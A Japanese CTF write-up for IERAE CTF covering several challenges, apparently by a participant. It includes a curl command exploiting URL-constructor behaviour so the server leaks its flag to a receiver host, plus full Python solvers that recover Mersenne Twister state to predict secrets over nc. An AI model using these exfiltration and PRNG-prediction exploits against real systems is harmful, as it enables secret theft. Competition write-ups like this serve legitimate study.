IERAE CTFは初参加です。楽しかった!

チーム名: at24, ユーザ名: takanotume24で参加しました。

Futari APIs

frontend.ts

 const uri = new URL(`${user}?apiKey=${FLAG}`, userSearchAPI);
としているところが怪しそう。

JavaScriptのURLオブジェクトのコンストラクタnew URL(url, base)は url が絶対URL である場合、指定されたbase は無視するらしく(なぜ??)、urlに絶対URLを指定すればいいことがわかる。

参考: https://developer.mozilla.org/ja/docs/Web/API/URL/URL

直後に

return await fetch(uri);
があるため、外部のホストへリクエストが飛ばせそう。 denoではデフォルトではネットワークアクセスができないが、今回は--allow-netオプションが付いているため許可されている。。

CTFの競技サーバを192.0.2.1:3000, 自分で用意した受信用サーバを192.0.2.2:3000とすると、

curl "192.0.2.1:3000/search?user=http%3A%2F%2F192.0.2.2%3000"

192.0.2.2:3000に向けてFLAG付きのリクエストが飛んでくる。

Weak PRNG

https://zenn.dev/hk_ilohas/articles/mersenne-twister-previous-stateのプログラムを拝借したところそのまま動作した。

  • io_lib.py

      import subprocess
      import string
        
      def read_output(
              process: subprocess.Popen,
              expected_prompts: int,
          ) -> list[int]:
          generator_output_list: list[int] = []
        
          for _ in range(expected_prompts):
              stdout = process.stdout
        
              if stdout is None:
                  raise Exception()
                
              output = stdout.readline().strip()
              if output:
                  print(output)
                  output = output.replace(' ', '')
                    
                  if output.isdigit():
                      generator_output_list.append(int(output))
            
          if expected_prompts >= 16:
              size = len(generator_output_list)
              if not size == 16:
                  raise Exception(size)
        
          return generator_output_list
    
  • lib.py

      # https://zenn.dev/hk_ilohas/articles/mersenne-twister-previous-state より引用
        
      def untemper(x):
          x = unBitshiftRightXor(x, 18)
          x = unBitshiftLeftXor(x, 15, 0xefc60000)
          x = unBitshiftLeftXor(x, 7, 0x9d2c5680)
          x = unBitshiftRightXor(x, 11)
          return x
        
        
      def unBitshiftRightXor(x, shift):
          i = 1
          y = x
          while i * shift < 32:
              z = y >> shift
              y = x ^ z
              i += 1
          return y
        
        
      def unBitshiftLeftXor(x, shift, mask):
          i = 1
          y = x
          while i * shift < 32:
              z = y << shift
              y = x ^ (z & mask)
              i += 1
          return y
        
        
      def get_prev_state(state):
          for i in range(623, -1, -1):
              result = 0
              tmp = state[i]
              tmp ^= state[(i + 397) % 624]
              if ((tmp & 0x80000000) == 0x80000000):
                  tmp ^= 0x9908b0df
              result = (tmp << 1) & 0x80000000
              tmp = state[(i - 1 + 624) % 624]
              tmp ^= state[(i + 396) % 624]
              if ((tmp & 0x80000000) == 0x80000000):
                  tmp ^= 0x9908b0df
                  result |= 1
              result |= (tmp << 1) & 0x7fffffff
              state[i] = result
          return state
    
  • predict_secret.py

      from lib import untemper, get_prev_state
      import random
        
      def predict_secret(
          xs1: list[int],
          n: int,
      ):
          mt_state = [untemper(x) for x in xs1]
          prev_mt_state = get_prev_state(mt_state)
          random.setstate((3, tuple(prev_mt_state + [0]), None))
        
          predicted = [random.getrandbits(32) for _ in range(n)]
          return predicted[623]
    
  • solver.py

      import subprocess
      from io_lib import read_output
      from predict_secret import predict_secret
        
        
      if __name__ == '__main__':
          process = subprocess.Popen(
              # ['python3', '../challenge.py'],
              ['nc', '35.201.137.32', '19937'],
              stdin=subprocess.PIPE,
              stdout=subprocess.PIPE,
              stderr=subprocess.PIPE,
              text=True
          )
        
          read_output(
              process=process,
              expected_prompts=7,
          )
        
          stdin = process.stdin
          if stdin is None:
              raise Exception()
            
          generator_output_list: list[int] = []
        
          for i in range(40):
              stdin.write('1' + '\n')
              stdin.flush()
              generator_output_list = generator_output_list + read_output(
                  process=process,
                  expected_prompts=23,
              )
              print(generator_output_list)
        
          predicted_secret = predict_secret(
              xs1=generator_output_list[:624],
              n=624,
          )
        
          print(predicted_secret)
        
            
          stdin.write(f'2' + '\n')
          stdin.flush()
          generator_output_list = generator_output_list + read_output(
              process=process,
              expected_prompts=2,
          )
        
          stdin.write(f'{predicted_secret}' + '\n')
          stdin.flush()
          generator_output_list = generator_output_list + read_output(
              process=process,
              expected_prompts=2,
          )
    

babewaf

解けなかったけどいくつか勉強になったことがあるのでメモ。

derangement

  • candidate_char_set: ヒント文字列で出現した全ての文字の集合
  • appeared_char_set_dict[i]: ヒント文字列のi文字目に出現した全ての文字の集合

とすると、candidate_char_setの中から、appeared_char_set_dict[i]を削除するとi文字目の文字だけが残る。

競技サーバを192.0.2.1:55555, とする。

import subprocess
import string

def read_output(
        process: subprocess.Popen,
        expected_prompts: int,
        hint_list: list[str],
    ) -> list[str]:

    for _ in range(expected_prompts):
        stdout = process.stdout

        if stdout is None:
            raise Exception()
        
        output = stdout.readline().strip()
        if output:
            print(output)

            if 'hint: ' in output:
                hint_str = output.replace('> hint: ', '')
                hint_list.append(hint_str)

    return hint_list

def remove_from_charset(
    hint_char_set: set[str],
) -> set[str]:
    CHAR_SET = string.ascii_letters + string.digits + string.punctuation
    CHAR_SET = set(CHAR_SET)

    remained_char_set = CHAR_SET

    for hint_char in hint_char_set:
        remained_char_set.remove(hint_char)

    return remained_char_set

def get_char_set_at_n_from_hint_list(
    hint_list: list[str],
    index: int,
) -> set[str]:
    appeared_char_set = set()
    for hint_str in hint_list:
        hint_char = hint_str[index]
        appeared_char_set.add(hint_char)

    return appeared_char_set

def main():
    process = subprocess.Popen(
        # ['python3', '../challenge.py'],
        ['nc','192.0.2.1','55555'],
        stdin=subprocess.PIPE,
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
        text=True
    )


    hint_list:list[str] = []
    hint_list = read_output(
        process=process,
        expected_prompts=8,
        hint_list=hint_list,
    )
    
    print(hint_list)


    for i in range(290):
        commands = ['1']
        for command in commands:
            stdin = process.stdin
            if stdin is None:
                raise Exception()
            
            stdin.write(command + '\n')
            stdin.flush()
            read_output(
                process=process,
                expected_prompts=3,
                hint_list=hint_list,
            )

    print(hint_list)
    candidate_char_set = set()
    appeared_char_set_dict: dict[int, set[str]] = {}
    for i in range(15):
        appeared_char_set = get_char_set_at_n_from_hint_list(
            hint_list=hint_list,
            index=i,
        )
        s = ''.join(sorted(appeared_char_set))
        print(s, len(s))

        candidate_char_set = candidate_char_set | appeared_char_set
        appeared_char_set_dict[i] = appeared_char_set

    print(candidate_char_set)

    answer= ''
    for index, appeared_char_set in appeared_char_set_dict.items():
        s = (candidate_char_set - appeared_char_set).pop()
        answer = answer + s

    print(f'SOLVED!!: {answer}')
    
    stdin.write('2' + '\n')
    stdin.flush()
    read_output(
        process=process,
        expected_prompts=2,
        hint_list=hint_list,
    )

    stdin.write(answer + '\n')
    stdin.flush()

    read_output(
        process=process,
        expected_prompts=3,
        hint_list=hint_list,
    )

    
    # 終了処理
    process.stdin.close()
    process.stdout.close()
    process.stderr.close()
    process.wait()

if __name__ == "__main__":
    main()